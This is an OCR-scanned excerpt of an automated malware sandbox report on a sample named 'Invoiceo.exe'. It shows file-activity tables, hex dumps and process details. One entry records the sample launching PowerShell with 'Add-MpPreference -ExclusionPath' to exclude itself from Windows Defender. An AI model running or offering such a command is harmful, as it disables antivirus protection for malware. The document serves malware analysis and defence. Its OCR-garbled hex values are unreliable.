30 33 66 35 66 37 66
313164353061 33
61 22 2c 30 0d Oa 32
2¢ 225379737465
6d 2e 57 69 6e 64 6f
77 73 2e 46 6f 72 6d
73 2¢ 2056 6572 73
69 6f 6e 3d 34 2e 30
2e 30 2e 30 2c 20 43
756¢ 74 75 72 65 3d
6e 657574 72 61 6¢
2¢ 20 50 75 62 6¢ 69
63 4b 65 79 54 6f 6b
65 6e 3d 62 37 37 61
3563 35363139 33
34 65 30 38 39 22 2¢
30 0d 0a 33 2¢ 22 53
79 73 74 65 6d 2c 20
56 65 72 73 69 6f 6e
3d 34 2e

Offset Length
unknown 4095
unknown 6135
unknown 176
unknown 4095

Ascii

<?xml version="1.0"
encoding="UTF-16"?>..
<Task version="1.2"

xmlns="http://schemas.mic

roso

ft.com/windows/2004/02/m

it/task">..
<RegistrationInfo>..
<Date>2014-10-
25T14:27:44.892
9027</Date>..
<Author>compu
ter\user</Author>..
</Registrationin

Completion

success or wait

1,"fusion”,"GAC",0..1,"Win success or wait

RT",

"NotApp",1..2,"Microsoft.Vi

sualBasic,
Version=10.0.0.0, Cult
ure=neutral,
PublickeyToken=b0

3f5f7f11d50a3a",0..2,"Syst

em.Windows.Forms,
Version=4.0.0.0,
Culture=neutral,
PublicKeyTok

en=b77a5c561934e089",0.

.3,"System, Version=4.

Completion
success or wait
success or wait

success or wait

success or wait

Count Address

1

1

Count Address

1
1
1

1

Source
Symbol

6CCF1B4F WriteFile

6E1BC907 WriteFile

Source
Symbol

6DE85705 unknown
6DE85705 unknown
6DDEO3DE ReadFile

6DE8CA54 ReadFile
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Source
File Path Offset Length Completion Count Address  Symbol

C:\Windows\assembly\Nativelmages_v4.0.30319_32\System\4f0a7e unknown 620 success or wait 1 6DDEO3DE ReadFile
efa3cd3e0ba98b5ebddbbc72e6\System.ni.dll.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Config unknown 864 success or wait 1 6DDEO3DE ReadFile
uration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dil.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Core\f unknown 900 success or wait 1 6DDEO3DE ReadFile
1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Xml\b2 unknown 748 success or wait 1 6DDEO3DE ReadFile
19d4630d26b88041b59c21e8e2b95c\System.Xml.ni.dll.aux

C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config unknown 4095 success or wait 1 6DE85705 unknown
C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config unknown 8171 end of file 1 6DE85705 unknown
C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config unknown 4096 success or wait 1 6CCF1B4F ReadFile
C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config unknown 4096 end of file 1 6CCF1B4F ReadFile
Analysis Process: powershell.exe PID: 6584 Parent PID: 6316
General
Start time: 14:50:08
Start date: 03/05/2021
Path: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit): true
Commandline: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -Ex
clusionPath 'C:\Users\user\Desktop\Invoiceo.exe'
Imagebase: 0x1150000
File size: 430592 bytes
MDS5 hash: DBA3E6449E97D4E3DF64527EF7012A10
Has elevated privileges: true
Has administrator privileges: true
Programmed in: .Net C# or VB.NET
Reputation: high
File Activities
File Created
Source
File Path Access Attributes Options Completion Count Address  Symbol
C:\Windows\system32\catroot read data or list device directory file | object name collision 1 6CC55B28 unknown
directory | synchronous io
synchronize non alert | open
for backup ident
| open reparse
point
C:\Windows\system32\catroot2 read data or list device directory file | object name collision 1 6CC55B28 unknown
directory | synchronous io
synchronize non alert | open
for backup ident
| open reparse
point
C:\Users\user read data or list device directory file | object name collision 1 6DEACF06 unknown
directory | synchronous io
synchronize non alert | open
for backup ident
| open reparse
point
C:\Users\user\AppData\Roaming read data or list device directory file | object name collision 1 6DEACF06 unknown
directory | synchronous io
synchronize non alert | open
for backup ident
| open reparse
point
C:\Users\user\AppData\Local\Temp\__PSscr read attributes | device sequential only | success or wait 1 6CCF1E60 CreateFileW
iptPolicyTest_t10emffs.5zu.ps1 synchronize | synchronous io
generic write non alert | non

directory file |
open no recall
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File Path

C:\Users\user\AppData\Local\Temp\__PSscr
iptPolicyTest_vijtSkae.3jh.psm1

C:\Users\user\Documents\20210503

C:\Users\user\Documents\20210503\PowerShell_transcr
ipt.065367.K12PJCIf.20210503145011.txt

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\Mod
uleAnalysisCache

File Deleted

File Path

Access

read attributes |

Attributes

device

synchronize |
generic write

read data or list device
directory |
synchronize

read attributes |

device

synchronize |
generic read |
generic write

read attributes |

device

synchronize |
generic read |
generic write

C:\Users\user\AppData\Local\Temp\__PSscriptPolicyTest_t10emffs.5zu.ps1

C:\Users\user\AppData\Local\Temp\__PSscriptPolicyTest_vijtSkae.3jh.psm1

File Written
File Path Offset Length
C:\Users\user\AppData\Local\Temp\__PSscr unknown 1
iptPolicyTest_t10emffs.5zu.ps1
C:\Users\user\AppData\Local\Temp\__PSscr unknown 1
iptPolicyTest_vijtSkae.3jh.psm1
C:\Users\user\Documents\20210503\PowerShell_transcr unknown 3

ipt.065367.K12PJCIf.20210503145011.txt

C:\Users\user\Documents\20210503\PowerShell_transcr
ipt.065367.K12PJCIf.20210503145011.txt
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unknown 667

Value

31

31

ef bb bf

2a 2a2a?2a2a?a?2a
2a 2a2a?2a2a?2a?2a
2a2a2a?2a2a?aZ?a
2a 0d 0a 57 69 6e 64
6f 77 73 20 50 6f 77
65 72 53 68 65 6¢ 6¢C
2074 72 61 6e 73 63
72697074207374
6172 74 0d 0a 53 74
61 72 74 20 74 69 6d
65 3a 20 32 30 32 31
30353033313435
303333 0d 0a 5573
65 72 6e 61 6d 65 3a
20 44 45 53 4b 54 4f
50 2d 37 31 36 54 37
37 315c 68617264
7a0d 0a 52 75 6e 41
732055736572 3a
20 44 45 53 4b 54 4f
50 2d 37 31 36 54 37
37 315c 68617264
7a 0d Oa 43 6f 6e 66
69 67 7572 61 74 69
6f 6e 20 4e 61 6d 65
3a 20 0d 0a 4d 61 63
68 69 6e 65 3a 20 30
36 353336 37 20 28
4d 69 63 72 6f 73 6f
66 74 20 57 69 6e 64
6f 77 73 20 4e 54 20
31 30 2e 30 2e 31 37
31 33 34 2e 30 29 0d
0a 48 6f 73 74 20 41
70 70 6¢ 69 63 61 74
69 6f 6e 3a 20 43 3a
5¢ 57 69

Options Completion

sequential only | success or wait 1
synchronous io

non alert | non

directory file |

open no recall

directory file | success or wait 1
synchronous io

non alert | open

for backup ident

| open reparse

point

synchronous io  success or wait 1
non alert | non
directory file |

open no recall

synchronous io  success or wait 1

non alert | non
directory file |
open no recall

Completion
success or wait

success or wait

Ascii Completion
1 success or wait
1 success or wait

success or wait

*kk*x******kkk*x******..Windo success or Walt
ws PowerShell transcript
start..Start time:
20210503145033..Userna
me: computer\user..RunAs
User:
computer\user..Configurati
on Name: ..Machine:
065367 (Microsoft
Windows NT
10.0.17134.0)..Host
Application: C:\Wi

1
1

Source
Count Address

Symbol

6CCF1E60 CreateFileW

6CCFBEFF CreateDirectoryW

6CCF1E60 CreateFileW

6CCF1E60 CreateFileW

Count Address

1

1

1

44

Source
Count Address

Symbol

6CCF6A95 DeleteFilewW
6CCF6A95 DeleteFilewW

Source

Symbol
6CCF1B4F WriteFile
6CCF1B4F WriteFile

6CCF1B4F WriteFile

6CCF1B4F WriteFile
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File Path

C:\Users\user\AppData\Local\Mi
crosoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Mi
crosoft\Windows\PowerShell\ModuleAnalysisCache
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Offset Length Value

unknown 4096

unknown 4096

50 53 4d 4f 44 55 4c

4543 41 43 48 4501
13 00 00 00 ca 3c el
65 ca 9f d5 08 59 00

00 00 43 3a 5¢ 50 72
6f 67 72 61 6d 20 46
69 6¢ 65 73 20 28 78
38 36 29 5¢c 57 69 6e
64 6f 77 73 50 6f 77

65 72 53 68 65 6¢ 6C
5c 4d 6f 64 75 6¢ 65

73 5¢ 50 6f 77 65 72

53 68 65 6¢ 6C 47 65
74 5¢ 31 2e 30 2e 30
2e 31 5¢ 50 6f 77 65

72 53 68 65 6¢C 6C 47
65 74 2e 70 73 64 31
1d 00 00 00 10 00 00
00 55 6e 69 6e 73 74
61 6¢ 6¢ 2d 4d 6f 64

75 6¢ 65 02 00 00 00
04 00 00 00 69 6e 6d
6f 01 00 00 00 04 00
00 00 66 69 6d 6f 01

00 00 00 Oe 00 00 00
49 6e 73 74 61 6¢ 6C
2d 4d 6f 64 75 6¢ 65

02 00 00 00 12 00 00
00 4e 65 77 2d 53 63
72 69 70 74 46 69 6C
65 49 6e 66 6f 02 00

00 00 Oe 00 00 00 50
75 62 6¢ 69 73 68 2d
4d 6f 64 75 6¢ 65 02

00 00 00 Oe 00 00 00
49 6e 73 74 61 6¢ 6C
2d 53 63

4d 69 63 72 6f 73 6f
66 74 2e 50 6f 77 65
72 53 68 65 6¢ 6¢C 2e
5574 69 6¢ 69 74 79
5c 4d 69 63 72 6f 73
6f 66 74 2e 50 6f 77
65 72 53 68 65 6¢ 6C
2e 55 74 69 6¢ 69 74
79 2e 70 73 64 31 6d
00 00 00 Of 00 00 00
52 65 6d 6f 76 65 2d
56 61 72 69 61 62 6¢
65 08 00 00 00 Oe 00
00 00 43 6f 6e 76 65
7274 2d 53747269
6e 67 08 00 00 00 Od
00 00 00 54 72 61 63
65 2d 43 6f 6d 6d 61
6e 64 08 00 00 00 Ob
00 00 00 53 6f 72 74
2d 4f 62 6a 65 63 74
08 00 00 00 14 00 00
0052 656769 73 74
65 72 2d 4f 62 6a 65
63 74 45 76 65 6e 74
08 00 00 00 Oc 00 00
00476574 2d5275
6e 73 70 61 63 65 08
00 00 00 Oc 00 00 00
46 6f 72 6d 61 74 2d
54 61 62 6¢ 65 08 00
00 00 0d 00 00 00 57
61 69 74 2d 44 65 62
75 67 67 65 72 08 00
00 00 11 00 00 00 47
6574 2d 52 75 6e 73
706163

Ascii

PSMODULECACHE......

<.e....Y...C:\Program Files

(x86)\Windows

PowerShell\Modules\Powe

rShellG

et\1.0.0.1\PowerShellGet.p

sdl..

New-scr
iptFilelnfo........ Publish-
Module........ Install-Sc

Microsoft.PowerShell. Utilit

y\M

icrosoft.PowerShell. Utility.

psdim....... Remove-
Variable........ Convert-
String.......
Command........ Sort-
Object........ Register-
ObjectEvent........ Get-
Runspace........ Format-
Table........ Wait-
Debugger........ Get-
Runspac

Install-

Completion

success or wait

success or wait

Count Address

1

1

Source
Symbol

6CCF1B4F WriteFile

6CCF1B4F WriteFile
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File Path

C:\Users\user\AppData\Local\Mi
crosoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Mi
crosoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Mi
crosoft\Windows\PowerShell\StartupProfileData-NonInteractive
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Offset
unknown 4096

unknown 2446

unknown 64

Length Value

65 08 00 00 00 17 00
00 00 49 6e 73 74 61
6¢ 6¢ 2d 50 61 63 6b
61 67 65 50 72 6f 76
69 64 65 72 08 00 00
00 16 00 00 00 49 6d
70 6f 72 74 2d 50 61
63 6b 61 67 65 50 72
6f 76 69 64 65 72 08
00 00 00 13 00 00 00
47 65 74 2d 50 61 63
6b 61 67 65 50 72 6f
76 69 64 65 72 08 00
00 00 16 00 00 00 52
6567 69 73 74 65 72
2d 50 61 63 6b 61 67
65 53 6f 75 72 63 65
08 00 00 00 11 00 00
00 55 6e 69 6e 73 74
61 6¢ 6¢ 2d 50 61 63
6b 61 67 65 08 00 00
00 14 00 00 00 46 69
6e 64 2d 50 61 63 6b
61 67 65 50 72 6f 76
69 64 65 72 08 00 00
00 ff ff ff ff 95 ce 12 09
ca 9f d5 08 49 00 00
00 43 3a 5¢c 57 69 6e
64 6f 77 73 5¢ 73 79
73 74 65 6d 33 32 5¢
57 69 6e 64 6f 77 73
50 6f 77 65 72 53 68
65 6¢ 6¢ 5¢C 76 31 2e
30 5c¢ 4d 6f 64 75 6¢
65 73 5¢ 44 65 66 65
6e 64 65 72 5¢c 44 65
66

1000 00 00 52 65 73
75 6d 65 2d 42 69 74
4c 6f 63 6b 65 72 02
00 00 00 1c 00 00 00
42 6163 6b 75 70 2d
42 69 74 4c 6f 63 6b
65 72 4b 65 79 50 72
6f 74 65 63 74 6f 72
02 00 00 00 25 00 00
00 53 68 6f 77 2d 42
69 74 4c 6f 63 6b 65
725265717569 72
65 64 41 63 74 69 6f
6e 73 49 6e 74 65 72
6e 61 6¢ 02 00 00 00
17 00 00 00 55 6e 6¢
6f 63 6b 2d 50 61 73
73 77 6f 72 64 49 6e
74 65 72 6e 61 6¢ 02
00 00 00 10 00 00 00
55 6e 6¢ 6f 63 6b 2d
42 69 74 4c 6f 63 6b
6572 02000000 18
00 00 00 41 64 64 2d
54 70 6d 50 72 6f 74
65 63 74 6f 72 49 6e
74 65 72 6e 61 6¢ 02
00 00 00 25 00 00 00
41 64 64 2d 52 65 63
6f 76 65 72 79 50 61
737377 6f 72 64 50
72 6f 74 65 63 74 6f
72 49 6e 74 65 72 6e
61 6¢ 02 00 00 00 1a
00 00 00 55 6e 6c 6f
63 6b 2d 52 65 63 6f
76 6572

40 00 00 01 65 00 00
00 00 00 00 00 11 00
0000 81 14 00 00 18
00 00 00 e7 0d 95 05
52 08 43 08 23 08 00
00 00 00 73 02 39 00
€3 0d 00 00 00 00 00
00 00 00 04 40 00 80
00 00 00 00 00 00 00
00

(=T Install-
PackageProvid
€. Import-

PackageProvider........ Get-

PackageProvider.
....... Register-
PackageSource.

..Find-
PackageProvider........

........ I...C:\Windows\syste

m3

2\WindowsPowerShell\v1.
0\Modules\Defender\Def

....Resume-
BitLocker........ Backup-
BitLockerKeyProtector....
%...Show-
BitLockerRequiredActi
onsinternal........ Unlock-
Pass

wordInternal........ Unlock-
BitLocker........ Add-
TpmProtector
Internal....%...Add-
RecoveryPa

sswordProtectorinternal
...Unlock-Recover

Completion

success or wait

success or wait

success or wait

Count Address

1

1

1

Source
Symbol

6CCF1B4F WriteFile

6CCF1B4F WriteFile

6E1776FC WriteFile
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C:\Users\user\AppData\Local\Mi unknown 40 48 00 00 02 03 00 00 <@.M...L."My..  success or wait 17 6E1776FC WriteFile
crosoft\Windows\PowerShell\StartupProfileData-NonInteractive 00 00 00 00 00 01 00

00 00 3c 40 b0 5e e7

8d bf 4c b2 22 4d 79

98 9c a7 3a 52 00 00

00 Oe 00 20 00
C:\Users\user\AppData\Local\Mi unknown 32 4d 69 63 72 6f 73 6f  Microsoft.PowerShell.Cons success or wait 17 B6E1776FC WriteFile
crosoft\Windows\PowerShell\StartupProfileData-NonInteractive 66 74 2e 50 6f 77 65 oleHost

72 53 68 65 6¢ 6C 22

43 6f 6e 73 6f 6¢ 65

48 6f 73 74
C:\Users\user\AppData\Local\Mi unknown 1 00 . success or wait 11 B6E1776FC WriteFile
crosoft\Windows\PowerShell\StartupProfileData-NonInteractive
C:\Users\user\AppData\Local\Mi unknown 4 00 08 00 03 success or wait 11 B6E1776FC WriteFile
crosoft\Windows\PowerShell\StartupProfileData-NonInteractive
C:\Users\user\AppData\Local\Mi unknown 2044 00 0e 800001 0€ 80  ..eoveveeneeieeiieiianin success or wait 11 B6E1776FC WriteFile
crosoft\Windows\PowerShell\StartupProfileData-NonInteractive 0002 0e 800003 0e .......... T.@..9@.>@...Q@...

8000040e800005 @.V.@.H@X@..Q@.

0e 800006 0e 8000 [@.NT@.HT@..S
070e8000080e80 @.S@.hT@..S@..S@..S
00090c80005401 @\Q@.T@.T@.@X@.?
4000ce 67400119 X@.T@.S@.S@..T@..T
3e4001ch004000 @XxT@.ZT@..T@.=M@.D
9901400056 0140 M@..M@."M@.
00480140005801 M@.M@.M@..D@..D@.
4000fb0040005b @M@.<M@.$M@.8M@.?
0140004e544001 M@.,@.EM@..0@..9@..S
48544001f45340 @.BM@..D.mE..%@

01 8b 53 40 01 68 54

400191534001 fa

534001 82 53 40 01

5¢ 01 40 00 00 54 40

01 02 54 40 01 40 58

4001 3f58 4001 1c

54 40 01 b8 53 40 01

fb 53 40 01 1e 54 40

011954400178 54

4001 7a 54 40 01 95

54 40 01 3d 4d 40 01

44 4d 40 01 3a 4d 40

01 22 4d 40 01 20 4d

4001 21 4d 40 01 3b

4d 4001 e044 4001

e544 40 01 40 4d 40

01 3c 4d 40 01 24 4d

40 01 38 4d 40 01 3f

4d 40 01 16 3b 40 01

45 4d 40 01 dc 71 40

01 dd 71 40 01 f8 53

4001 42 4d 40 01 ed

4400 01 6d 4500 01

98 25 40
File Read
Source
File Path Offset Length Completion Count Address  Symbol
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config unknown 4095 success or wait 1 6DE85705 unknown
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config unknown 8173 end of file 1 6DE85705 unknown
C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config unknown 4095 success or wait 1 6DE85705 unknown
C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config unknown 6135 success or wait 1 6DE85705 unknown
C:\Windows\assembly\Nativelmages_v4.0.30319_32\mscorlib\a152 unknown 176 success or wait 1 6DDEO3DE ReadFile
fe02a317a77aeee36903305e8baé\mscorlib.ni.dll.aux
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config unknown 4095 success or wait 1 6DEBCA54 ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config unknown 8173 end of file 1 6DEBCA54 ReadFile
C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config unknown 4095 success or wait 1 6DEBCA54 ReadFile
C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Core\f unknown 900 success or wait 1 6DDEO3DE ReadFile
1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll.aux
C:\Windows\assembly\Nativelmages_v4.0.30319_32\System\4f0a7e unknown 620 success or wait 1 6DDEO3DE ReadFile
efa3cd3e0ba98b5ebddbbc72e6\System.ni.dll.aux
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config unknown 4095 success or wait 1 6DE85705 unknown
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config unknown 8173 end of file 1 6DE85705 unknown
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config unknown 4095 success or wait 1 6DE85705 unknown
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config unknown 8173 end of file 1 6DE85705 unknown
C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Xml\b2 unknown 748 success or wait 1 6DDEO3DE ReadFile
19d4630d26b88041b59c21e8e2b95c\System.Xml.ni.dll.aux
C:\Windows\assembly\Nativelmages_v4.0.30319_32\Microsoft.Mf4 unknown 748 success or wait 1 6DDEO3DE ReadFile

9f6405#\ccc7c82770f93d1392abde4be3a80378\Microsoft. Management.Infrastructure.ni.dll.aux
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C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config unknown 4095 success or wait 1 6DE85705 unknown
C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config unknown 8171 end of file 1 6DE85705 unknown
C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive unknown 64 success or wait 1 6DE91F73 ReadFile
C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive unknown 21324 success or wait 1 6DE9203F ReadFile
C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Config unknown 864 success or wait 1 6DDEO3DE ReadFile

uration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dil.aux

C:\Program Files (x86)\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation unknown 4096 success or wait 1 6CCF1B4F ReadFile
\1.0.1\Microsoft.PowerShell.Operation.Validation.psd1

C:\Program Files (x86)\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation unknown 492 end of file 1 6CCF1B4F ReadFile
\1.0.1\Microsoft.PowerShell.Operation.Validation.psd1

C:\Program Files (x86)\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation unknown 4096 end of file 1 6CCF1B4F ReadFile
\1.0.1\Microsoft.PowerShell.Operation.Validation.psd1

C:\Program Files (x86)\WindowsPowerShell\Modules\PackageMana unknown 4096 success or wait 1 6CCF1B4F ReadFile
gement\1.0.0.1\PackageManagement.psdl

C:\Program Files (x86)\WindowsPowerShell\Modules\PackageMana unknown 774 end of file 1 6CCF1B4F ReadFile
gement\1.0.0.1\PackageManagement.psdl

C:\Program Files (x86)\WindowsPowerShell\Modules\PackageMana unknown 4096 end of file 1 6CCF1B4F ReadFile
gement\1.0.0.1\PackageManagement.psdl

C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1 unknown 4096 success or wait 1 6CCF1B4F ReadFile
C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1 unknown 4096 end of file 1 6CCF1B4F ReadFile
C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1 unknown 4096 success or wait 2 6CCF1B4F ReadFile
C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1 unknown 4096 end of file 1 6CCF1B4F ReadFile
C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psm1 unknown 4096 success or wait 5 6CCF1B4F ReadFile
C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psm1 unknown 682 end of file 1 6CCF1B4F ReadFile
C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psm1 unknown 4096 end of file 1 6CCF1B4F ReadFile
C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1  unknown 4096 success or wait 1 6CCF1B4F ReadFile
C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1  unknown 289 end of file 1 6CCF1B4F ReadFile
C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1  unknown 4096 end of file 1 6CCF1B4F ReadFile
C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1  unknown 4096 success or wait 1 6CCF1B4F ReadFile
C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1  unknown 289 end of file 1 6CCF1B4F ReadFile
C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1 unknown 4096 success or wait 140 6CCF1B4F ReadFile
C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1 unknown 993 end of file 1 6CCF1B4F ReadFile
C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1 unknown 4096 end of file 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft. PowerShell. Utility\Microsoft. unknown 4096 success or wait 1 6CCF1B4F ReadFile
PowerShell.Utility.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft. PowerShell. Utility\Microsoft. unknown 637 end of file 1 6CCF1B4F ReadFile
PowerShell.Utility.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft. PowerShell. Utility\Microsoft. unknown 4096 end of file 1 6CCF1B4F ReadFile
PowerShell.Utility.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft unknown 4096 success or wait 1 6CCF1B4F ReadFile
.PowerShell.Management\Microsoft.PowerShell.Management.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft unknown 534 end of file 1 6CCF1B4F ReadFile
.PowerShell.Management\Microsoft.PowerShell.Management.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft unknown 4096 end of file 1 6CCF1B4F ReadFile
.PowerShell.Management\Microsoft.PowerShell.Management.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppBackgr unknown 4096 success or wait 1 6CCF1B4F ReadFile
oundTask\AppBackgroundTask.psd1l

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppBackgr unknown 4096 end of file 1 6CCF1B4F ReadFile
oundTask\AppBackgroundTask.psd1l

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppLocker\AppLocker.psdl unknown 4096 success or wait 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppLocker\AppLocker.psdl unknown 990 end of file 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppLocker\AppLocker.psdl unknown 4096 end of file 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppLocker\AppLocker.psdl unknown 4096 success or wait 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppLocker\AppLocker.psdl unknown 990 end of file 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\AppvClient.psd1l unknown 4096 success or wait 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\AppvClient.psd1l unknown 4096 end of file 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\AppvClient.psd1l unknown 4096 success or wait 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\AppvClient.psd1l unknown 4096 end of file 1 6CCF1B4F ReadFile
C:\Windows\assembly\Nativelmages_v4.0.30319_32\Microsoft.Mf4 unknown 748 success or wait 1 6DDEO3DE ReadFile
9f6405#\ccc7c82770f93d1392abde4be3a80378\Microsoft. Management.Infrastructure.ni.dll.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Core\f unknown 900 success or wait 1 6DDEO3DE ReadFile
1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_32\System\4f0a7e unknown 620 success or wait 1 6DDEO3DE ReadFile
efa3cd3e0ba98b5ebddbbc72e6\System.ni.dll.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Xml\b2 unknown 748 success or wait 1 6DDEO3DE ReadFile
19d4630d26b88041b59c21e8e2b95c\System.Xml.ni.dll.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Config unknown 864 success or wait 1 6DDEO3DE ReadFile
uration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dil.aux

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config unknown 4095 success or wait 1 6DE85705 unknown
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config unknown 8173 end of file 1 6DE85705 unknown
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Appx\Appx.psd1l unknown 4096 success or wait 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Appx\Appx.psd1l unknown 4096 end of file 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AssignedA unknown 4096 success or wait 1 6CCF1B4F ReadFile

ccess\AssignedAccess.psdl

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AssignedA unknown 4096 end of file 1 6CCF1B4F ReadFile
ccess\AssignedAccess.psdl

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 unknown 4096 success or wait 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 unknown 368 end of file 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 unknown 4096 end of file 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 unknown 4096 success or wait 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 unknown 368 end of file 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 unknown 4096 success or wait 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 unknown 770 end of file 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 unknown 4096 end of file 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft. PowerShell. Utility\Microsoft. unknown 4096 success or wait 1 6CCF1B4F ReadFile
PowerShell.Utility.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft. PowerShell. Utility\Microsoft. unknown 637 end of file 1 6CCF1B4F ReadFile
PowerShell.Utility.psd1

